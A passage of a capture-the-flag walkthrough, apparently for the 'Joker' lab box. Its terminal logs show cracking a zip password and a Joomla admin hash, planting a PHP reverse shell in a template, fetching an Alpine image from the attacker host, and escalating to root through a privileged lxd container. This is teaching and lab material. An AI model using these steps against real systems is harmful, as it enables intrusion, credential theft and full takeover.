compression, one of auto, gzip and none. (default: none) --max-redirect maximum redirections allowed per page --proxy-user=USER set USER as proxy username --proxy-password=PASS set PASS as proxy password --referer=URL include 'Referer: URL' header in HTTP request --save-headers save the HTTP headers to file -U, --user-agent=AGENT identify as AGENT instead of Wget/VERSION --no-http-keep-alive disable HTTP keep-alive (persistent connections) --no-cookies don't use cookies --load-cookies=FILE load cookies from FILE before session --save-cookies=FILE save cookies to FILE after session --keep-session-cookies load and save session (non-permanent) cookies --post-data=STRING use the POST method; send STRING as the data --post-file=FILE use the POST method; send contents of FILE --method=HTTPMethod use method "HTTPMethod" in the request --body-data=STRING send STRING as data. --method MUST be set --body-file=FILE send contents of FILE. --method MUST be set --content-disposition honor the Content-Disposition header when choosing local file names (EXPERIMENTAL) --content-on-error output the received content on server errors --auth-no-challenge send Basic HTTP authentication information without first waiting for the server's challenge HTTPS (SSL/TLS) options: --secure-protocol=PR choose secure protocol, one of auto, SSLv2, SSLv3, TLSv1, TLSv1_1, TLSv1_2, TLSv1_3 and PFS --https-only only follow secure HTTPS links --no-check-certificate don't validate the server's certificate --certificate=FILE client certificate file --certificate-type=TYPE client certificate type, PEM or DER --private-key=FILE private key file --private-key-type=TYPE private key type, PEM or DER --ca-certificate=FILE file with the bundle of CAs --ca-directory=DIR directory where hash list of CAs is stored --crl-file=FILE file with bundle of CRLs --pinnedpubkey=FILE/HASHES Public key (PEM/DER) file, or any number of base64 encoded sha256 hashes preceded by 'sha256//' and separated by ';', to verify peer against --ciphers=STR Set the priority string (GnuTLS) or cipher list string (OpenSSL) directly. Use with care. This option overrides --secure-protocol. The format and syntax of this string depend on the specific SSL/TLS engine. HSTS options: --no-hsts disable HSTS --hsts-file path of HSTS database (will override default) FTP options: --ftp-user=USER set ftp user to USER --ftp-password=PASS set ftp password to PASS --no-remove-listing don't remove '.listing' files --no-glob turn off FTP file name globbing --no-passive-ftp disable the "passive" transfer mode --preserve-permissions preserve remote file permissions --retr-symlinks when recursing, get linked-to files (not dir) FTPS options: --ftps-implicit use implicit FTPS (default port is 990) --ftps-resume-ssl resume the SSL/TLS session started in the control connection when opening a data connection --ftps-clear-data-connection cipher the control channel only; all the data will be in plaintext --ftps-fallback-to-ftp fall back to FTP if FTPS is not supported in the target server WARC options: --warc-file=FILENAME save request/response data to a .warc.gz file --warc-header=STRING insert STRING into the warcinfo record --warc-max-size=NUMBER set maximum size of WARC files to NUMBER --warc-cdx write CDX index files --warc-dedup=FILENAME do not store records listed in this CDX file --no-warc-compression do not compress WARC files with GZIP --no-warc-digests do not calculate SHA1 digests --no-warc-keep-log do not store the log file in a WARC record --warc-tempdir=DIRECTORY location for temporary files created by the WARC writer Recursive download: -r, --recursive specify recursive download -l, --level=NUMBER maximum recursion depth (inf or 0 for infinite) --delete-after delete files locally after downloading them -k, --convert-links make links in downloaded HTML or CSS point to local files --convert-file-only convert the file part of the URLs only (usually known as the basename) --backups=N before writing file X, rotate up to N backup files -K, --backup-converted before converting file X, back up as X.orig -m, --mirror shortcut for -N -r -l inf --no-remove-listing -p, --page-requisites get all images, etc. needed to display HTML page --strict-comments turn on strict (SGML) handling of HTML comments Recursive accept/reject: -A, --accept=LIST comma-separated list of accepted extensions -R, --reject=LIST comma-separated list of rejected extensions --accept-regex=REGEX regex matching accepted URLs --reject-regex=REGEX regex matching rejected URLs --regex-type=TYPE regex type (posix|pcre) -D, --domains=LIST comma-separated list of accepted domains --exclude-domains=LIST comma-separated list of rejected domains --follow-ftp follow FTP links from HTML documents --follow-tags=LIST comma-separated list of followed HTML tags --ignore-tags=LIST comma-separated list of ignored HTML tags -H, --span-hosts go to foreign hosts when recursive -L, --relative follow relative links only -I, --include-directories=LIST list of allowed directories --trust-server-names use the name specified by the redirection URL's last component -X, --exclude-directories=LIST list of excluded directories -np, --no-parent don't ascend to the parent directory Email bug reports, questions, discussions to <bug-wget@gnu.org> and/or open issues at https://savannah.gnu.org/bugs/?func=additem&group=wget. ┌──(witty㉿kali)-[~/Downloads] └─$ wget --user=joker --password=hannah http://10.10.230.190:8080/backup.zip --2023-03-10 16:51:04-- http://10.10.230.190:8080/backup.zip Connecting to 10.10.230.190:8080... connected. HTTP request sent, awaiting response... 401 Unauthorized Authentication selected: Basic realm=" Please enter the password." Reusing existing connection to 10.10.230.190:8080. HTTP request sent, awaiting response... 200 OK Length: 12133560 (12M) [application/zip] Saving to: ‘backup.zip’ backup.zip 100%[====================>] 11.57M 717KB/s in 18s 2023-03-10 16:51:22 (664 KB/s) - ‘backup.zip’ saved [12133560/12133560] ┌──(witty㉿kali)-[~/Downloads] └─$ mkdir backups ┌──(witty㉿kali)-[~/Downloads] └─$ mv backup.zip /home/witty/Downloads/backups ┌──(witty㉿kali)-[~/Downloads] └─$ cd backups ┌──(witty㉿kali)-[~/Downloads/backups] └─$ ls backup.zip ┌──(witty㉿kali)-[~/Downloads/backups] └─$ unzip backup.zip Archive: backup.zip creating: db/ [backup.zip] db/joomladb.sql password: password incorrect--reenter: ┌──(witty㉿kali)-[~/Downloads/backups] └─$ zip2john backup.zip > hash ┌──(witty㉿kali)-[~/Downloads/backups] └─$ cat hash backup.zip:$pkzip$8*1*1*0*0*1c*433a*6c2b37f221efe3d1f3cf416386a69e390b2d5cbdaf4c820dfdeed1c2*1*0*0*21*433a*3a1cf51b86e90000c96583ff28c3f66967627db8eb898947aefffbbf14d2d79afa*1*0*0*24*433b*e72d627b8f09c0b28e777a603b72dfe046d7928a2fad76ae291785873c827a5c76158220*1*0*0*24*433b*4612436e78ed4312b2183316d6c6d38376bee4ef1163039f3106650d09fd16dc1dd30681*1*0*8*24*433a*83046150d21c4832d6fc5ba494d8d6f79bcfa76e5919c5a97bcf890f06d2e540e258f9a3*1*0*8*24*433b*c50910b2036c8e097d626a162570c843e793af7df0bab242d73e98ee1a71c036588be383*1*0*8*24*433a*ace94169c2a3465b235e408520eaf5701e867474d6a32f2aa179972c95d4cf5e29942319*2*0*13*7*ebd78eb7*1beea*6b*0*13*433a*42420120b0cb36a12b6c31737d25a0f56d777d*$/pkzip$::backup.zip:site/libraries/vendor/phpmailer/phpmailer/VERSION, site/libraries/fof/version.txt, site/media/jui/js/jquery-noconflict.js, site/templates/protostar/error.php, site/templates/beez3/error.php, site/libraries/index.html, site/templates/index.html, site/administrator/cache/index.html:backup.zip ┌──(witty㉿kali)-[~/Downloads/backups] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status hannah (backup.zip) 1g 0:00:00:00 DONE (2023-03-10 16:56) 50.00g/s 409600p/s 409600c/s 409600C/s 123456..whitetiger Use the "--show" option to display all of the cracked passwords reliably Session completed. ──(witty㉿kali)-[~/Downloads/backups] └─$ unzip backup.zip Archive: backup.zip creating: db/ [backup.zip] db/joomladb.sql password: inflating: db/joomladb.sql creating: site/ creating: site/libraries/ creating: site/libraries/phpass/ inflating: site/libraries/phpass/PasswordHash.php .... ┌──(witty㉿kali)-[~/Downloads/backups] └─$ cd site ┌──(witty㉿kali)-[~/Downloads/backups/site] └─$ ls administrator configuration.php language modules tmp bin htaccess.txt layouts plugins web.config.txt cache images libraries README.txt cli includes LICENSE.txt robots.txt components index.php media templates ┌──(witty㉿kali)-[~/Downloads/backups/site] └─$ head -n20 configuration.php <?php class JConfig { public $offline = '0'; public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.'; public $display_offline_message = '1'; public $offline_image = ''; public $sitename = 'joker'; public $editor = 'tinymce'; public $captcha = '0'; public $list_limit = '20'; public $access = '1'; public $debug = '0'; public $debug_lang = '0'; public $dbtype = 'mysqli'; public $host = 'localhost'; public $user = 'joomla'; public $password = '1234'; public $db = 'joomladb'; public $dbprefix = 'cc1gr_'; public $live_site = ''; ┌──(witty㉿kali)-[~/Downloads/backups] └─$ cd db ┌──(witty㉿kali)-[~/Downloads/backups/db] └─$ ls joomladb.sql ┌──(witty㉿kali)-[~/Downloads/backups/db] └─$ more joomladb.sql -- MySQL dump 10.13 Distrib 5.7.27, for Linux (x86_64) -- -- Host: localhost Database: joomladb -- ------------------------------------------------------ -- Server version 5.7.27-0ubuntu0.18.04.1 /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8 */; /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET TIME_ZONE='+00:00' */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */ ; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; -- -- Table structure for table `cc1gr_assets` -- DROP TABLE IF EXISTS `cc1gr_assets`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `cc1gr_assets` ( ┌──(witty㉿kali)-[~/Downloads/backups/db] └─$ grep CREATE TABLE joomladb.sql | grep user grep: TABLE: No such file or directory joomladb.sql:CREATE TABLE `cc1gr_user_keys` ( joomladb.sql:CREATE TABLE `cc1gr_user_notes` ( joomladb.sql:CREATE TABLE `cc1gr_user_profiles` ( joomladb.sql:CREATE TABLE `cc1gr_user_usergroup_map` ( joomladb.sql:CREATE TABLE `cc1gr_usergroups` ( joomladb.sql:CREATE TABLE `cc1gr_users` ( ┌──(witty㉿kali)-[~/Downloads/backups/db] └─$ grep cc1gr_users joomladb.sql -- Table structure for table `cc1gr_users` DROP TABLE IF EXISTS `cc1gr_users`; CREATE TABLE `cc1gr_users` ( -- Dumping data for table `cc1gr_users` LOCK TABLES `cc1gr_users` WRITE; /*!40000 ALTER TABLE `cc1gr_users` DISABLE KEYS */; INSERT INTO `cc1gr_users` VALUES (547,'Super Duper User','admin','admin@example.com','$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG',0,1,'2019-10-08 12:00:15','2019-10-25 15:20:02','0','{\"admin_style\":\"\",\"admin_language\":\"\",\"language\":\"\",\"editor\":\"\",\"helpsite\":\"\",\"timezone\":\"\"}','0000-00-00 00:00:00',0,'','',0); /*!40000 ALTER TABLE `cc1gr_users` ENABLE KEYS */; ┌──(witty㉿kali)-[~/Downloads/backups/db] └─$ echo '$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG' > hash ┌──(witty㉿kali)-[~/Downloads/backups/db] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status abcd1234 (?) 1g 0:00:00:11 DONE (2023-03-10 17:03) 0.08474g/s 88.47p/s 88.47c/s 88.47C/s bullshit..piolin Use the "--show" option to display all of the cracked passwords reliably Session completed. admin:abcd1234 From the Control Panel go to `Configuration > Templates > Templates > Beez3 Details and Files`. Click on `error.php` uploading ivan php visit the error page http://10.10.134.191:8080/templates/beez3/error.php You should now have a reverse shell. ┌──(witty㉿kali)-[~/Downloads/backups/db] └─$ rlwrap nc -lvnp 1337 listening on [any] 1337 ... connect to [10.8.19.103] from (UNKNOWN) [10.10.134.191] 36412 SOCKET: Shell has connected! PID: 928 SHELL=/bin/bash script -q /dev/null www-data@ubuntu:/opt/joomla/templates/beez3$ whoami whoami www-data www-data@ubuntu:/opt/joomla/templates/beez3$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd) www-data@ubuntu:/opt/joomla/templates/beez3$ cd /tmp cd /tmp www-data@ubuntu:/tmp$ ls ls www-data@ubuntu:/tmp$ lxc image list lxc image list +-------+--------------+--------+-------------+--------+--------+------------------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE | +-------+--------------+--------+-------------+--------+--------+------------------------------+ | | a8258f4a885f | no | | x86_64 | 2.39MB | Oct 25, 2019 at 8:07pm (UTC) | +-------+--------------+--------+-------------+--------+--------+------------------------------+ ┌──(witty㉿kali)-[~/Downloads/lxd-alpine-builder] └─$ python3 -m http.server 1234 Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ... 10.10.134.191 - - [10/Mar/2023 17:23:44] "GET /alpine-v3.13-x86_64-20210218_0139.tar.gz HTTP/1.1" 200 - www-data@ubuntu:/tmp$ wget http://10.8.19.103:1234/alpine-v3.13-x86_64-20210218_0139.tar.gz <9.103:1234/alpine-v3.13-x86_64-20210218_0139.tar.gz --2023-03-10 14:23:44-- http://10.8.19.103:1234/alpine-v3.13-x86_64-20210218_0139.tar.gz Connecting to 10.8.19.103:1234... connected. HTTP request sent, awaiting response... 200 OK Length: 3259593 (3.1M) [application/gzip] Saving to: 'alpine-v3.13-x86_64-20210218_0139.tar.gz' alpine-v3.13-x86_64 100%[===================>] 3.11M 885KB/s in 3.6s 2023-03-10 14:23:48 (885 KB/s) - 'alpine-v3.13-x86_64-20210218_0139.tar.gz' saved [3259593/3259593] www-data@ubuntu:/tmp$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage <e-v3.13-x86_64-20210218_0139.tar.gz --alias myimage www-data@ubuntu:/tmp$ lxc image list lxc image list +---------+--------------+--------+-------------------------------+--------+--------+-------------------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE | +---------+--------------+--------+-------------------------------+--------+--------+-------------------------------+ | myimage | cd73881adaac | no | alpine v3.13 (20210218_01:39) | x86_64 | 3.11MB | Mar 10, 2023 at 10:24pm (UTC) | +---------+--------------+--------+-------------------------------+--------+--------+-------------------------------+ www-data@ubuntu:/tmp$ lxc init myimage alpine -c security.privileged=true lxc init myimage alpine -c security.privileged=true Creating alpine www-data@ubuntu:/tmp$ lxc config device add alpine mydevice disk source=/ path=/mnt/root/ recursive=true <device disk source=/ path=/mnt/root/ recursive=true Device mydevice added to alpine www-data@ubuntu:/tmp$ lxc start alpine lxc start alpine www-data@ubuntu:/tmp$ lxc exec alpine /bin/sh lxc exec alpine /bin/sh ~ # id id uid=0(root) gid=0(root) ~ # cd /mnt/root/root/ cd /mnt/root/root/ /mnt/root/root # ls ls final.txt /mnt/root/root # cat final.txt cat final.txt ██╗ ██████╗ ██╗ ██╗███████╗██████╗ ██║██╔═══██╗██║ ██╔╝██╔════╝██╔══██╗ ██║██║ ██║█████╔╝ █████╗ ██████╔╝ ██ ██║██║ ██║██╔═██╗ ██╔══╝ ██╔══██╗ ╚█████╔╝╚██████╔╝██║ ██╗███████╗██║ ██║ ╚════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ !! Congrats you have finished this task !! Contact us here: Hacking Articles : https://twitter.com/rajchandel/ Aarti Singh: https://in.linkedin.com/in/aarti-singh-353698114 +-+-+-+-+-+ +-+-+-+-+-+-+-+ |E|n|j|o|y| |H|A|C|K|I|N|G| +-+-+-+-+-+ +-+-+-+-+-+-+-+